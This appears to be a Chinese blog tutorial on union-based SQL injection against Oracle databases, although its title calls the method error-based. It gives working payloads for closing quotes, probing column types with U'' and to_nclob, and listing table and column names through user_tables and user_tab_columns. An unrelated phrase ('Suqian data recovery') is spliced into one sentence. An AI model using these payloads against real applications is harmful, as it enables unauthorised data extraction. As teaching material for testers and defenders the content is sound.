作者:admin 日期:2023-10-15 瀏覽: 次
Oracle數(shù)據(jù)庫報錯注入,零基礎的你也能看懂疫情期間在家好好學習
Oracle Database,又名Oracle RDBMS,或簡稱Oracle。是甲骨文公司的一款關系數(shù)據(jù)庫管理系統(tǒng)。它是在數(shù)據(jù)庫領域一直處于領先地位的產品??梢哉fOracle數(shù)據(jù)庫系統(tǒng)是目前世界上流行的關系數(shù)據(jù)庫管理系統(tǒng),系統(tǒng)可移植性好、使用方便、功能強,適用于各類大、中、小、微機環(huán)境。它是一種高效率、可靠性好的、適應高吞吐量的數(shù)據(jù)庫方案。
和MySQL注入一樣:利用order by 猜解字段數(shù)聯(lián)合查詢: 這里和MySQL不太一樣找到輸出點:這里要注意字符類型利用系統(tǒng)自帶庫查詢表名字段名
一、注入函數(shù)解析:select *from all_tables :查詢出所有的表select *from user_tables :查詢當前的用戶表(就是當前數(shù)據(jù)庫下的所有表)select *from all_tab_columns :查詢所有的字段名select *from user_tab_columns :查詢當前用戶的字段名(就是當前庫下的字段名)
二、細節(jié)
我們知道讓MySQL顯示 指定行輸出用limit 但是在Oracle數(shù)據(jù)庫中,用的rownum :
例如:select *from user_tables where rownum=1 。但是要注意的是,讓它顯示兩行不是rownum=2。而要用rownum<3 。宿遷數(shù)據(jù)恢復可以用'<>' 過濾掉第一行,‘<>’就是不等于的意思。
例如:select *from user_tables where rownum<3 and table_name<>'user'
三、dual
還有就是dual,它是一個實表,也可以叫虛表。那他有什么用呢?
在MySQL中可以直接select 1,2,3 .但是Oracle中不能這樣寫,那還要輸出123怎么辦呢,可以使用dual來滿足語法。
例如: select 1,2,3 from dual
經過嘗試發(fā)現(xiàn)要用單引號閉合。得到子段數(shù)是3.確定字符類型
’ union all select null,null,null from dual --+
’ union all select 1,null,null from dual --+
顯示正確
’ union all select 1,1,null from dual --+
顯示錯誤。

’ union all select 1,U‘das’,null from dual --+
顯示正確。:這里使用U是強行轉成后面的類型
’ union all select 1,U‘das’,U‘dsfa’ from dual --+
顯示錯誤。:這里可能是二進制類型,可以用轉碼函數(shù)進行轉碼。
’ union all select 1,U‘das’,to_nclob('dsa') from dual --+
顯示正確,得到了相應的字符類型,并且找到了輸出點,那下面就查找相應的表名,字段名。
可以看到我們需要的字段名是table_name
' union all select 1,null,to_nclob(table_name) from user_tables --+
但輸出點只能顯示一條數(shù)據(jù)的時候,要用rownum來限制輸出數(shù)
找到表名后,查找字段名
可以看到,限制條件是table_name,查找到column_name
'union all select 1,null,to_nclob(column_name) from user_tab_columns where table_name=xxx
在Oracle數(shù)據(jù)庫庫中要注意幾個系統(tǒng)自帶表:
all_tablesuser_tablesall_tab_columnsuser_tab_columns
Oracle數(shù)據(jù)庫用表dual 來滿足數(shù)據(jù)格式,要注意字符的類型。
U‘df’ 強行轉換;to_nclob() 二進制轉換
rownum 限制輸出行數(shù)。